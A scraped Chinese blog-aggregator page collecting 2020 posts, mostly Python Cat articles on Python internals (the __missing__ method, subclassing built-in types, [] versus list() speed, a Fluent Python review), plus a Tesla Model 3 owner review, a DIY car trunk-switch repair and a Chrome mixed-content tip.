Python猫注: 以上是全部译文,但我最后还想补充一个有趣的内容。在《黑客与画家》中,保罗·格雷大师有一个惊人的预言,他认为在逻辑上不需要有整数类型,因为整数 n 可以用一个 n 元素的列表来表示。哈哈,这跟上文的脑洞恰好反过来了!想象一下,一个只有整数类型没有列表的编程语言,以及一个只有列表类型没有整数的编程语言,哪一个更有可能在未来出现呢?

December 22, 2020 12:00 AM

December 14, 2020

pythoncat

Python最会变魔术的魔术方法,我觉得是它!

上篇文章中,我有一个核心的发现:Python 内置类型的特殊方法(含魔术方法与其它方法)由 C 语言独立实现,在 Python 层面不存在调用关系。
但是,文中也提到了一个例外:一个非常神秘的魔术方法。
这个方法非常不起眼,用途狭窄,我几乎从未注意过它,然而,当发现它可能是上述“定律”的唯一例外情况时,我认为值得再写一篇文章来详细审视一下它。
本文主要关注的问题有:
(1) __missing__()到底是何方神圣?
(2) __missing__()有什么特别之处?擅长“大变活人”魔术?
(3) __missing__()是否真的是上述发现的例外?如果是的话,为什么会有这种特例?

1、有点价值的__missing__()

从普通的字典中取值时,可能会出现 key 不存在的情况:
dd = {'name':'PythonCat'}
dd.get('age')        # 结果:None
dd.get('age', 18)    # 结果:18
dd['age']            # 报错 KeyError
dd.__getitem__('age')  # 等同于 dd['age']
对于 get() 方法,它是有返回值的,而且可以传入第二个参数,作为 key 不存在时的返回内容,因此还可以接受。但是,另外两种写法都会报错。
为了解决后两种写法的问题,就可以用到 __missing__() 魔术方法。
现在,假设我们有一个这样的诉求:从字典中取某个 key 对应的 value,如果有值则返回值,如果没有值则插入 key,并且给它一个默认值(例如一个空列表)。
如果用原生的 dict,并不太好实现,但是,Python 提供了一个非常好用的扩展类collections.defaultdict
如图所示,当取不存在的 key 时,没有再报 KeyError,而是默认存入到字典中。
为什么 defaultdict 可以做到这一点呢?
原因是 defaultdict 在继承了内置类型 dict 之后,还定义了一个 __missing__() 方法,当 __getitem__取不存在的值时,它就会调用入参中传入的工厂函数(上例是调用 list(),创建空列表)。
作为最典型的示例,defaultdict 在文档注释中写到:
简而言之,__missing__()的主要作用就是由__getitem__在缺失 key 时调用,从而避免出现 KeyError。
另外一个典型的使用例子是collections.Counter ,它也是 dict 的子类,在取未被统计的 key 时,返回计数 0:

2、神出鬼没的__missing__()

由上可知,__missing__()在__getitem__()取不到值时会被调用,但是,我不经意间还发现了一个细节:__getitem__()在取不到值时,并不一定会调用__missing__()。
这是因为它并非内置类型的必要属性,并没有在字典基类中被预先定义。
如果你直接从 dict 类型中取该属性值,会报属性不存在:AttributeError: type object 'object' has no attribute '__missing__'
使用 dir() 查看,发现确实不存在该属性:
如果从 dict 的父类即 object 中查看,也会发现同样的结果。
这是怎么回事呢?为什么在 dict 和 object 中都没有__missing__属性呢?
然而,查阅最新的官方文档,object 中分明包含这个属性:
也就是说,理论上 object 类中会预定义__missing__,其文档证明了这一点,然而实际上它并没有被定义!文档与现实出现了偏差!
如此一来,当 dict 的子类(例如 defaultdict 和 Counter)在定义__missing__ 时,这个魔术方法事实上只属于该子类,也就是说,它是一个诞生于子类中的魔术方法!
据此,我有一个不成熟的猜想:__getitem__()会判断当前对象是否是 dict 的子类,且是否拥有__missing__(),然后才会去调用它(如果父类中也有该方法,则不会先作判断,而是直接就调用了)。
我在交流群里说出了这个猜想,有同学很快在 CPython 源码中找到验证:
而这就有意思了,在内置类型的子类上才存在的魔术方法, 纵观整个 Python 世界,恐怕再难以找出第二例。
我突然有一个联想:这神出鬼没的__missing__(),就像是一个擅长玩“大变活人”的魔术师,先让观众在外面透过玻璃看到他(即官方文档),然而揭开门时,他并不在里面(即内置类型),再变换一下道具,他又完好无损就出现了(即 dict 的子类)。

3、被施魔法的__missing__()

__missing__() 的神奇之处,除了它本身会变“魔术”之外,它还需要一股强大的“魔法”才能驱动。
上篇文章中,我发现原生的魔术方法间相互独立,它们在 C 语言界面可能有相同的核心逻辑,但是在 Python 语言界面,却并不存在着调用关系:
魔术方法的这种“老死不相往来”的表现,违背了一般的代码复用原则,也是导致内置类型的子类会出现某些奇怪表现的原因。
官方 Python 宁肯提供新的 UserString、UserList、UserDict 子类,也不愿意复用魔术方法,唯一合理的解释似乎是令魔术方法相互调用的代价太大。
但是,对于特例__missing__(),Python 却不得不妥协,不得不付出这种代价!
__missing__() 是魔术方法的“二等公民 ”,它没有独立的调用入口,只能被动地由 __getitem__() 调用,即__missing__() 依赖于__getitem__()。
不同于那些“一等公民 ”,例如 __init__()、__enter__()、__len__()、__eq__() 等等,它们要么是在对象生命周期或执行过程的某个节点被触发,要么由某个内置函数或操作符触发,这些都是相对独立的事件,无所依赖。
__missing__() 依赖于__getitem__(),才能实现方法调用;而 __getitem__() 也要依赖 __missing__(),才能实现完整功能。
为了实现这一点,__getitem__()在解释器代码中开了个后门,从 C 语言界面折返回 Python 界面,去调用那个名为“__missing__”的特定方法。
而这就是真正的“魔法”了,目前为止,__missing__()似乎是唯一一个享受了此等待遇的魔术方法!

4、小结

Python 的字典提供了两种取值的内置方法,即__getitem__() 和 get(),当取值不存在时,它们的处理策略是不一样的:前者会报错KeyError,而后者会返回 None。
为什么 Python 要提供两个不同的方法呢?或者应该问,为什么 Python 要令这两个方法做出不一样的处理呢?
这可能有一个很复杂(也可能是很简单)的解释,本文暂不深究了。
不过有一点是可以确定的:即原生 dict 类型简单粗暴地抛KeyError 的做法有所不足。
为了让字典类型有更强大的表现(或者说让__getitem__()作出 get() 那样的表现),Python 让字典的子类可以定义__missing__(),供__getitem__()查找调用。
本文梳理了__missing__()的实现原理,从而揭示出它并非是一个毫不起眼的存在,恰恰相反,它是唯一一个打破了魔术方法间壁垒,支持被其它魔术方法调用的特例!
Python 为了维持魔术方法的独立性,不惜煞费苦心地引入了 UserString、UserList、UserDict 这些派生类,但是对于 __missing__(),它却选择了妥协。
本文揭示出了这个魔术方法的神秘之处,不知你读后有何感想呢?欢迎留言讨论。

December 14, 2020 12:00 AM

November 22, 2020

chengweiyang

国产特斯拉 Model3 使用体验

欢迎使用我的引荐链接 https://www.tesla.cn/referral/chengweiyangcn55807 购车, 你提车后我们俩会各得 1500KM 免费超充里程(实际上是 372KwH,换算成里程能跑 3000-4000 公里)。

做为一个特斯拉又老又穷的粉,在特斯拉 model3 发布那年/2016 就在官网上用支付宝交了 8000 的定金,希望能以 3.5w 美元的价格买到车。

在经历了长达 4 年半的等待后,model3 终于从进口韭菜降价到了当初等的那个价格,2020 年国庆献礼,降价了;本来一心想要买长续航,偏偏长续航降价没到 30w 以内,不能享受补贴,白花花的 2w 块钱,怎能不要?

另外也是因为买车前用 gofun 租了几次电车来开,发现在市内跑跑,一天正常可能也就几十公里, 即使标续也能做到每周充一次,所以果断从长续换成标续。

降价后电池要改成磷酸铁锂电池,做了好久的思想准备,结果特斯拉说切换前会再生产一批三元锂电池, 怎么说呢?还是特斯拉老道,直接打消了用户的犹豫心理,因为过渡期一过,再下单的用户心理上肯定就已经接受磷酸铁锂电池了。

果断选了三元锂电池版本,虽然续航少一点,不能充满(一般充到 90%,充满对电池寿命不好,磷酸铁锂可以充满), 但是考虑到北京冬天温度低,三元锂电池低温效能更好,所以三元锂应该是更好的选择。

在零上十度左右的天气开车,平均百公里能耗只有 11.5KwH,也就是 11.5 度电;而零度天平均能耗增加到 13.2KwH,估计零下天气会更高。如果按照 52 度电,打八折算(充到 90%,剩 10% 找充电桩),零度天气有效续航大概是 52*0.8/13.2*100 = 315KM,和表显里程差不多;所以标续冬天大概跑 300KM。

上周去超充充了第一次电,白天最高温度 4 度,下午 4 点充了一个小时,从 70KM 续航充到 90%,表显 330KM;所以如果是电池耗光的话,可能会再需要 20 分钟左右;比预想的慢,到时候看看夏天充电需要多长时间。

另外发现一个秘密,就是特斯拉 app 上显示的 1500KM 超充在加了 260KM 之后,显示还有 1300+ 公里,只扣了 100 多公里,实际上就是前面提到的,在中国,特斯拉的超充是按电量来算的,不是按里程, 所以 1500KM 免费超充折算成了 372 度电,实际上能跑的里程远超过 1500KM,还是很厚道的。

目前用车不到一个月,感觉哪儿都不错,唯一的缺点就是确实缓震比较弱,颠簸路段得慢点, 幸好当时被迫(客服说 19 寸轮毂很少有人选,所以产量很少,如果等的话,后面可能就没有三元锂电池了)没有换轮毂, 如果换了 19 寸轮毂路面感应该更硬了。

最后,再次欢迎使用我的引荐链接 https://www.tesla.cn/referral/chengweiyangcn55807 购车。

November 22, 2020 04:00 PM

November 15, 2020

pythoncat

为什么继承 Python 内置类型会出问题?!

不久前,Python猫 给大家推荐了一本书《流畅的Python》(点击可跳转阅读),那篇文章有比较多的“溢美之词”,显得比较空泛……
但是,《流畅的Python》一书值得反复回看,可以温故知新。最近我偶然翻到书中一个有点诡异的知识点,因此准备来聊一聊这个话题——子类化内置类型可能会出问题?!

1、内置类型有哪些?

在正式开始之前,我们首先要科普一下:哪些是 Python 的内置类型?
根据官方文档的分类,内置类型(Built-in Types)主要包含如下内容:
其中,有大家熟知的数字类型、序列类型、文本类型、映射类型等等,当然还有我们之前介绍过的布尔类型…对象 等等。
在这么多内容里,本文只关注那些作为可调用对象(callable)的内置类型,也就是跟内置函数(built-in function)在表面上相似的那些:int、str、list、tuple、range、set、dict……
这些类型(type)可以简单理解成其它语言中的类(class),但是 Python 在此并没有用习惯上的大驼峰命名法,因此容易让人产生一些误解。
在 Python 2.2 之后,这些内置类型可以被子类化(subclassing),也就是可以被继承(inherit)。

2、内置类型的子类化

众所周知,对于某个普通对象 x,Python 中求其长度需要用到公共的内置函数 len(x),它不像 Java 之类的面向对象语言,后者的对象一般拥有自己的 x.length() 方法。(PS:关于这两种设计风格的分析,推荐阅读 这篇文章
现在,假设我们要定义一个列表类,希望它拥有自己的 length() 方法,同时保留普通列表该有的所有特性。
实验性的代码如下(仅作演示):
# 定义一个list的子类
class MyList(list):
    def length(self):
        return len(self)
我们令 MyList这个自定义类继承 list,同时新定义一个 length() 方法。这样一来,MyList 就拥有 append()、pop() 等等方法,同时还拥有 length() 方法。
# 添加两个元素
ss = MyList()
ss.append("Python")
ss.append("猫")

print(ss.length())   # 输出:2
前面提到的其它内置类型,也可以这样作子类化,应该不难理解。
顺便发散一下,内置类型的子类化有何好处/使用场景呢?
有一个很直观的例子,当我们在自定义的类里面,需要频繁用到一个列表对象时(给它添加/删除元素、作为一个整体传递……),这时候如果我们的类继承自 list,就可以直接写 self.append()、self.pop(),或者将 self 作为一个对象传递,从而不用额外定义一个列表对象,在写法上也会简洁一些。
还有其它的好处/使用场景么?欢迎大家留言讨论~~

3、内置类型子类化的“问题”

终于要进入本文的正式主题了:)
通常而言,在我们教科书式的认知中,子类中的方法会覆盖父类的同名方法,也就是说,子类方法的查找优先级要高于父类方法。
下面看一个例子,父类 Cat,子类 PythonCat,都有一个 say() 方法,作用是说出当前对象的 inner_voice:
# Python猫是一只猫
class Cat():
    def say(self):
        return self.inner_voice()
    def inner_voice(self):
        return "喵"
class PythonCat(Cat):
    def inner_voice(self):
        return "喵喵"
当我们创建子类 PythonCat 的对象时,它的 say() 方法会优先取到自己定义出的 inner_voice() 方法,而不是 Cat 父类的 inner_voice() 方法:
my_cat = PythonCat()
# 下面的结果符合预期
print(my_cat.inner_voice()) # 输出:喵喵
print(my_cat.say())         # 输出:喵喵
这是编程语言约定俗成的惯例,是一个基本原则,学过面向对象编程基础的同学都应该知道。
然而,当 Python 在实现继承时,似乎不完全会按照上述的规则运作。它分为两种情况:
  • 符合常识:对于用 Python 实现的类,它们会遵循“子类先于父类”的原则
  • 违背常识:对于实际是用 C 实现的类(即str、list、dict等等这些内置类型),在显式调用子类方法时,会遵循“子类先于父类”的原则;但是,**在存在隐式调用时,**它们似乎会遵循“父类先于子类”的原则,即通常的继承规则会在此失效
对照 PythonCat 的例子,相当于说,直接调用 my_cat.inner_voice() 时,会得到正确的“喵喵”结果,但是在调用 my_cat.say() 时,则会得到超出预期的“喵”结果。
下面是《流畅的Python》中给出的例子(12.1章节):
class DoppelDict(dict): 
    def __setitem__(self, key, value): 
        super().__setitem__(key, [value] * 2)

dd = DoppelDict(one=1)  # {'one': 1}
dd['two'] = 2           # {'one': 1, 'two': [2, 2]}
dd.update(three=3)      # {'three': 3, 'one': 1, 'two': [2, 2]}
在这个例子中,dd[‘two’] 会直接调用子类的__setitem__()方法,所以结果符合预期。如果其它测试也符合预期的话,最终结果会是{‘three’: [3, 3], ‘one’: [1, 1], ‘two’: [2, 2]}。
然而,初始化和 update() 直接调用的分别是从父类继承的__init__()和__update__(),再由它们隐式地调用__setitem__()方法,此时却并没有调用子类的方法,而是调用了父类的方法,导致结果超出预期!
官方 Python 这种实现双重规则的做法,有点违背大家的常识,如果不加以注意,搞不好就容易踩坑。
那么,为什么会出现这种例外的情况呢?

4、内置类型的方法的真面目

我们知道了内置类型不会隐式地调用子类覆盖的方法,接着,就是Python猫的刨根问底时刻:为什么它不去调用呢?
流畅的Python》书中没有继续追问,不过,我试着胡乱猜测一下(应该能从源码中得到验证):内置类型的方法都是用 C 语言实现的,事实上它们彼此之间并不存在着相互调用,所以就不存在调用时的查找优先级问题。
也就是说,前面的“__init__()和__update__()会隐式地调用__setitem__()方法”这种说法并不准确!
这几个魔术方法其实是相互独立的!__init__()有自己的 setitem 实现,并不会调用父类的__setitem__(),当然跟子类的__setitem__()就更没有关系了。
从逻辑上理解,字典的__init__()方法中包含__setitem__()的功能,因此我们以为前者会调用后者,**这是惯性思维的体现,**然而实际的调用关系可能是这样的:
左侧的方法打开语言界面之门进入右侧的世界,在那里实现它的所有使命,并不会折返回原始界面查找下一步的指令(即不存在图中的红线路径)。不折返的原因很简单,即 C 语言间代码调用效率更高,实现路径更短,实现过程更简单。
同理,dict 类型的 get() 方法与__getitem__()也不存在调用关系,如果子类只覆盖了__getitem__()的话,当子类调用 get() 方法时,实际会使用到父类的 get() 方法。(PS:关于这一点,《流畅的Python》及 PyPy 文档的描述都不准确,它们误以为 get() 方法会调用__getitem__())
也就是说,Python 内置类型的方法本身不存在调用关系,尽管它们在底层 C 语言实现时,可能存在公共的逻辑或能被复用的方法。
我想到了“Python为什么”系列曾分析过的《Python 为什么能支持任意的真值判断?》。在我们写if xxx时,它似乎会隐式地调用__bool__()和__len__()魔术方法,然而实际上程序依据 POP_JUMP_IF_FALSE 指令,会直接进入纯 C 代码的逻辑,并不存在对这俩魔术方法的调用!
因此,在意识到 C 实现的特殊方法间相互独立之后,我们再回头看内置类型的子类化,就会有新的发现:
父类的__init__()魔术方法会打破语言界面实现自己的使命,然而它跟子类的__setitem__()并不存在通路,即图中红线路径不可达。
特殊方法间各行其是,由此,我们会得出跟前文不同的结论:实际上 Python 严格遵循了“子类方法先于父类方法”继承原则,并没有破坏常识!
最后值得一提的是,__missing__()是一个特例。《流畅的Python》仅仅简单而含糊地写了一句,没有过多展开。
经过初步实验,我发现当子类定义了此方法时,get() 读取不存在的 key 时,正常返回 None;但是 __getitem__() 和 dd[‘xxx’] 读取不存在的 key 时,都会按子类定义的__missing__()进行处理。
我还没空深入分析,恳请知道答案的同学给我留言。

5、内置类型子类化的最佳实践

综上所述,内置类型子类化时并没有出问题,只是由于我们没有认清特殊方法(C 语言实现的方法)的真面目,才会导致结果偏差。
那么,这又召唤出了一个新的问题:如果非要继承内置类型,最佳的实践方式是什么呢?
首先,如果在继承内置类型后,并不重写(overwrite)它的特殊方法的话,子类化就不会有任何问题。
其次,如果继承后要重写特殊方法的话,记得要把所有希望改变的方法都重写一遍,例如,如果想改变 get() 方法,就要重写 get() 方法,如果想改变 __getitem__()方法,就要重写它……
但是,如果我们只是想重写某种逻辑(即 C 语言的部分),以便所有用到该逻辑的特殊方法都发生改变的话,例如重写__setitem__()的逻辑,同时令初始化和update()等操作跟着改变,那么该怎么办呢?
我们已知特殊方法间不存在复用,也就是说单纯定义新的__setitem__()是不够的,那么,怎么才能对多个方法同时产生影响呢?
PyPy 这个非官方的 Python 版本发现了这个问题,它的做法是令内置类型的特殊方法发生调用,建立它们之间的连接通路。
官方 Python 当然也意识到了这么问题,不过它并没有改变内置类型的特性,而是提供出了新的方案:UserString、UserList、UserDict……
除了名字不一样,基本可以认为它们等同于内置类型。
这些类的基本逻辑是用 Python 实现的,相当于是把前文 C 语言界面的某些逻辑搬到了 Python 界面,在左侧建立起调用链,如此一来,就解决了某些特殊方法的复用问题。
对照前文的例子,采用新的继承方式后,结果就符合预期了:
from collections import UserDict

class DoppelDict(UserDict):
    def __setitem__(self, key, value): 
        super().__setitem__(key, [value] * 2)

dd = DoppelDict(one=1)  # {'one': [1, 1]}
dd['two'] = 2           # {'one': [1, 1], 'two': [2, 2]}
dd.update(three=3)      # {'one': [1, 1], 'two': [2, 2], 'three': [3, 3]}
显然,如果要继承 str/list/dict 的话,最佳的实践就是继承collections库提供的那几个类。

6、小结

写了这么多,是时候作 ending 了~~
在本系列的前一篇文章中,Python猫从查找顺序与运行速度两方面,分析了“为什么内置函数/内置类型不是万能的”,本文跟它一脉相承,也是揭示了内置类型的某种神秘的看似是缺陷的行为特征。
本文虽然是从《流畅的Python》书中获得的灵感,然而在语言表象之外,我们还多追问了一个“为什么”,从而更进一步地分析出了现象背后的原理。
简而言之,内置类型的特殊方法是由 C 语言独立实现的,它们在 Python 语言界面中不存在调用关系,因此在内置类型子类化时,被重写的特殊方法只会影响该方法本身,不会影响其它特殊方法的效果。
如果我们对特殊方法间的关系有错误的认知,就可能会认为 Python 破坏了“子类方法先于父类方法”的基本继承原则。(很遗憾《流畅的Python》和 PyPy 都有此错误的认知)
为了迎合大家对内置类型的普遍预期,Python 在标准库中提供了 UserString、UserList、UserDict 这些扩展类,方便程序员来继承这些基本的数据类型。

November 15, 2020 12:00 AM

October 28, 2020

anji66

科鲁兹/英朗后备箱开关更换

一晃破车被我开了快8年了,半月前就发现后备箱开关不灵光了,要按很多次才能按动,前两天就彻底歇菜了。坚持用了几天钥匙开后备箱。赶紧网上淘个开关。至于为啥我能知道是开关坏了不是别的坏了,还能自己换开关就说来话长了,这个后备箱开关是老款科鲁兹、英朗的通病,早在混迹太平洋汽车论坛的时候就有车友曝过这问题,都没思考直接买个开关回来动手更换。某宝链接。到货了就是这玩意儿。

1.jpg


一、拆原车后备箱开关

钥匙开箱后,拿平口螺丝刀直接撬就可以了,简单粗暴,不需要拆牌照灯架的。当然如果你买的是开关对插的那种,那就需要拆牌照灯架。

2.jpg

3.jpg


二、拉出原车开关并剪断

原车开关这里裂开了,然后有雨水进去,开关就这么废了,不过还好,我这坚持了8年,曾经有车友一年就坏的。

4.jpg


三、电线剥皮,接线

买的开关和车内线都剥皮,剥皮后的铜丝记得用打火机烧一下,烧掉表面的包漆和氧化层,然后对接,对接手法用电工法,两根线不分正负极。接好以后试下开关,如果没有问题就上电工胶带,先缠一根,然后把另外一根缠到一起。最后把开关原样塞回去就完工了。

5.jpg

6.jpg


by 西枫里 at October 28, 2020 01:32 PM

October 22, 2020

pythoncat

如果只推荐一本 Python 书,我要 Pick 它!

今年二月初,我偶然看到了一条推特:
《流畅的Python》一书的作者发布了一条激动人心的消息:他正在写作第二版!
如果要票选最佳的 Python 进阶类书目,这本书肯定会是得票率最高的书籍之一。我在最早写“Python猫荐书系列”时,就想推荐它,但又觉得好东西应该留到最后,所以一直拖到了现在……
如果你读过它,肯定也会认为它值得推荐;如果你没有,那请往下阅读,看我的介绍能否打动你把它列为必读书目吧~
这本书的英文名是《Fluent Python》,在 2015 年 8 月出版。两年后,国内的图灵教育出品了译本,出版时间是 2017 年 5 月,获得豆瓣 9.4 高分。(图书翻译/出版真是个漫长的过程啊)
作者 Luciano Ramalho 是个巴西人、资深的 Python 程序员/演讲者、PSF(Python软件基金会)成员。书籍的技术审校与推荐人囊括了圈内的一众大咖。
此书一出,大受圈内好评,各国出版社纷纷引进版权,目前至少已有 9 种语言版本(来数数你认识几种?):

PS:图片出自@fluentpython官推,简体中文版最薄,巧合占据C位。根据图灵教育统计,简体中文版销量超过4万册,预计在2020年能超越英文版的销量。

那么,这本书到底写了些什么呢?又有哪些特别之处呢?
全书内容充实,除去前言、附录和术语表这些内容,共分为六个部分 21 章节。我将核心章节内容制作了一份思维导图:
(在Python猫公众号回复『流畅』,有完整的高清原图)
以上是主要章节的思维导图,图中的数字是折叠起来的分支数。
下面给大家看看部分的细节图:

原图太大,展示不下。在Python猫公众号内回复『流畅』,有完整的高清原图、PDF 版本和 MarkDown 版本

从章节上可以看出,这本书主要面向中高级的开发者。它基本不涉及入门级内容,反而聚焦在数据模型、数据结构、函数对象、面向对象、控制流程与元编程等话题上。
打开书本第一章,作者用寥寥十几行 Python 代码,就徒手实现了一副扑克牌:
import collections

Card = collections.namedtuple('Card', ['rank', 'suit'])


class FrenchDeck:
    ranks = [str(n) for n in range(2, 11)] + list('JQKA')
    suits = 'spades diamonds clubs hearts'.split()

    def __init__(self):
        self._cards = [Card(rank, suit) for suit in self.suits for rank in self.ranks]

    def __len__(self):
        return len(self._cards)

    def __getitem__(self, position):
        return self._cards[position]
然后,直接就点出了全书最关注的核心话题:由各种特殊方法构成的数据模型。
特殊方法(special method)是__xxx__() 这种以前后双下划线命名的东西,通常又被称为魔术方法(magic method)和双下方法(dunder method),是 Python 独有的设计。
数据模型(data model)无疑是 Python 语言的关键核心,是得以形成所谓 Python 风格(pythonic)的基石。Python 中一切皆对象,而数据模型则是这些对象的接口规范,正是因为它,Python 得以获得极强的行为一致性。
《流畅的Python》以数据模型为始,定下了全文的风格基调,即关注 Python 对象的构造以及语言内部的特性细节,目的是让读者写出更地道、简洁高效、可读易用的代码。

《流畅的Python》作者与中文版合影

接着,它介绍了 Python 中一些内置类型的特性(序列类型、映射类型、文本和字节类型),介绍作为特殊对象的函数以及一般性对象的用法,介绍控制流程(迭代器、生成器、上下文管理器、协程和并发编程),最后深入到素有黑魔法之称的元编程(描述符和元类)。
全书 600 多页,洋洋洒洒,旁征博引,内容充实到让人应接不暇,让人时不时就产生一种“又学到了新知识”的感觉,以及一种“哦我想进一步学习 xxx”的求知欲望。
很多读过书的同学会有一个同感:它的“延伸阅读/杂谈”并不是闲笔,反而有些内容比正文更精彩,作者在此展示了他丰富的知识面(官方文档、社区典故、语法演进、文章视频、开源项目、语言差异等等),每一章都值得挖掘阅读。目前没有任何一本 Python 书籍能在这方面与它匹敌。
我推荐大家找到自己感兴趣的章节进行阅读,另外,有人做了非常不错的读书笔记(都挺长的),我放在这里:

http://www.hongweipeng.com/index.php/archives/1345 (by hongweipeng)

http://frankorz.com/2017/07/01/fluent-python-note (by 猫冬)

《流畅的Python》第一版基于当时最新的 Python 3.4。这些年来,Python 不断丰富自己,既正式宣告了 Python 2 版本的终结,又快速地演进到了最新的 3.9 版本。
但是,由于作者关注的是 Python 的核心概念,探讨的是基本不会变化的特性,因此倒不必太担忧内容过时,它仍是一本非常推荐购买和阅读参考的书籍。
我非常关心它的第二版,但是也知道,写作需要时间,英文出版、中文翻译和中文出版也都需要时间,所以我们就一起静候佳音吧。

October 22, 2020 12:00 AM

October 21, 2020

chengweiyang

Google Chrome 浏览器有时候不能显示图片

最近在工作中发现,google chrome 浏览器打开 exchange web mail 查看 HTML 格式的邮件时,邮件里嵌入的图片不能显示,通过查看嵌入图片的 url,发现其实是公司内部网络的一张图片,直接用浏览器打开 url 是可以展示图片的。

那么,为什么在邮件中无法展示呢?

打开浏览器 console,发现有错误,如下所示:

inspect error

首先可以查看下错误提示中的文档, 发现 google chrome 在新版本中会默认禁止 https 站点加载一些 http 内容,例如上面邮件服务本身是 https 服务,但是邮件中嵌入的图片 url 却是 http。

接下来设置为允许加载 http 内容。

首先点击站点图标,进入设置,如下图所示:

site setting

然后在设置页面找到Insecure content,修改为Allow,如下图所示:

secure setting

然后重新加载即可。

October 21, 2020 04:00 PM

October 18, 2020

pythoncat

为什么说 Python 内置函数并不是万能的?

Python猫上一篇文章中,我们对比了两种创建列表的方法,即字面量用法 [] 与内置类型用法 list(),进而分析出它们在运行速度上的差异。
在分析为什么 list() 会更慢的时候,文中说到它需要经过名称查找与函数调用两个步骤,那么,这就引出了一个新的问题:list() 不是内置类型么,为什么它不能直接就调用创建列表的逻辑呢?也就是说,为什么解释器必须经过名称查找,才能“认识”到该做什么呢?
其实原因很简单:内置函数/内置类型的名称并不是关键字,它们只是解释器内置的一种便捷功能,方便开发者开箱即用而已。

PS:内置函数 built-in function 和内置类型 built-in type 很相似,但 list() 实际是一种内置类型而不是内置函数。我曾对这两种易混淆的概念做过辨析,请查看这篇文章。为了方便理解与表述,以下统称为内置函数。

1、内置函数的查找优先级最低

内置函数的名称并不属于关键字,它们是可以被重新赋值的。
比如下面这个例子:
# 正常调用内置函数
list(range(3))  # 结果:[0, 1, 2]

# 定义任意函数,然后赋值给 list
def test(n):
    print("Hello World!")
list = test
list(range(3)) # 结果:Hello World!
在这个例子中,我们将自定义的 test 赋值给了 list,程序并没有报错。这个例子甚至还可以改成直接定义新的同名函数,即”def list(): …“。
这说明了 list 并不是 Python 限定的关键字/保留字。
查看官方文档,可以发现 Python 3.9 有 35 个关键字,明细如下:
如果我们将上例的 test 赋值给任意一个关键字,例如”pass=test”,就会报错:SyntaxError: invalid syntax。
由此,我们可以从这个角度看出内置函数并不是万能的:它们的名称并不像关键字那般稳固不变,虽然它们处在系统内置作用域里,但是却可以被用户局部作用域的对象所轻松拦截掉!
因为解释器查找名称的顺序是“局部作用域->全局作用域->内置作用域”,因此内置函数其实是处在最低优先级。
对于新手来说,这有一定的可能会发生意想不到的情况(内置函数有 69 个,要全记住是有难度的)。
那么,为什么 Python 不把所有内置函数的名称都设为不可复写的关键字呢?
一方面原因是它想控制关键字的数量,另一方面可能是想留给用户更多的自由。内置函数只是解释器的推荐实现而已,开发者可以根据需要,实现出与内置函数同名的函数。
不过,这样的场景极少,而且开发者一般会定义成不同名的函数,以 Python 标准库为例,ast模块有 literal_eval() 函数(对标 eval() 内置函数)、pprint 模块有 pprint() 函数(对标 print() 内置函数)、以及itertools模块有 zip_longest() 函数(对标 zip() 内置函数)……

2、内置函数可能不是最快的

由于内置函数的名称并非保留的关键字,以及它处于名称查找的末位顺序,所以内置函数有可能不是最快的。
上篇文章展示了 [] 比 list() 快 2~3 倍的事实,其实这还可以推广到 str()、tuple()、set()、dict() 等等内置类型中,都是字面量用法稍稍快于内置类型用法。
对于这些内置类型,当我们调用 xxx() 时,可以简单理解成正在做类的实例化。在面向对象语言中,类先实例化再使用,这是再正常不过的。
但是,这样的做法有时也显得繁琐。为了方便使用,Python 给一些常用的内置类型提供了字面量表示法,也就是""、[]、()、{} 等等,表示字符串、列表、元组和字典等数据类型。
一般而言,所有编程语言都必须有一些字面量表示,但基本都局限在数字类型、字符串、布尔类型以及 null 之类的基础类型。
Python 中还增加了几种数据结构类型的字面量,所以是更为方便的,同时这也解释了为什么内置函数可能不是最快的。
一般而言,同样的完备功能,内置函数总是比我们自定义的函数要快,因为解释器可以做一些底层的优化,例如 len() 内置函数肯定比用户定义的 x.len() 函数快。
有些人据此形成了“内置函数总是更快”的认识误区。
解释器内置函数相对于用户定义函数,前者接近于走后门;而字面量表示法相对于内置函数,前者是在走更快的后门。
也就是说,在有字面量表示法的情况下,某些内置函数/内置类型并不是最快的!

小结

诚然,Python 本身并不是万能的,那它的任何语法构成部分(内置函数/类型),就更不是万能的了。但是,一般我们会认为内置函数/类型总归是“高人一等”的,是受到诸多特殊优待的,显得像是“万能的”。
本文从“list() 竟然会败给 []”破题,从两个角度揭示了内置函数其实存在着某种不足:内置函数的名称并不是关键字,而内置作用域位于名称查找的最低优先级,因此在调用时,某些内置函数/类型的执行速度就明显慢于它们对应的字面量表示法。
本文对上一个“Python为什么”话题做了延展讨论,一方面充实了前面的内容,另一方面,也有助于大家理解 Python 的几个基础概念及其实现。
如果你喜欢本文,请点赞支持下吧!另外,我还写了 20+ 篇类似的话题,请关注Python猫查看,并在 Github 上给我一颗小星星吧~~
--->>>最后是福利时刻:
我把两年写作的 100 多篇精品文章集结成了一本 700 多页的《优雅的Python》电子书,诚意推荐!!请在微信关注Python猫 ,回复“优雅”两字获取~~

October 18, 2020 12:00 AM

October 14, 2020

pythoncat

Python 疑难问题:[] 与 list() 哪个快?为什么快?快多少呢?

在日常使用 Python 时,我们经常需要创建一个列表,相信大家都很熟练了吧?
# 方法一:使用成对的方括号语法
list_a = []

# 方法二:使用内置的 list()
list_b = list()
上面的两种写法,你经常使用哪一个呢?是否思考过它们的区别呢?
让我们开门见山,直接抛出本文的问题吧:两种创建列表的 [] 与 list() 写法,哪一个更快呢,为什么它会更快呢?

注:为了简化问题,我们以创建空列表为例进行分析。关于列表的更多介绍与用法说明,可以查看这篇文章

1、 [] 是 list() 的三倍快

对于第一个问题,使用timeit模块的 timeit() 函数就能简单地测算出来:
>>> import timeit
>>> timeit.timeit('[]', number=10**7)
>>> timeit.timeit('list()', number=10**7)
如上图所示,在各自调用一千万次的情况下,[] 创建方式只花费了 0.47 秒,而 list() 创建方式要花费 1.75 秒,所以,后者的耗时是前者的 3.7 倍!
这就回答了刚才的问题:创建空列表时,[] 要比 list() 快不少。

注:timeit() 函数的效率跟运行环境相关,每次执行结果会有微小差异。我在 Python3.8 版本实验了几次,总体上 [] 速度是 list() 的 3 倍多一点。

2、list() 比 [] 执行步骤多

那么,我们继续来分析一下第二个问题:为什么 [] 会更快呢?
这一次我们可以使用dis模块的 dis() 函数,看看两者执行的字节码有何差别:
>>> from dis import dis
>>> dis("[]")
>>> dis("list()")
如上图所示,[] 的字节码有两条指令(BUILD_LIST 与 RETURN_VALUE),而 list() 的字节码有三条指令(LOAD_NAME、CALL_FUNCTION 与 RETURN_VALUE)。
这些指令意味着什么呢?该如何理解它们呢?
首先,对于 [],它是 Python 中的一组字面量(literal),像数字之类的字面量一样,表示确切的固定值。
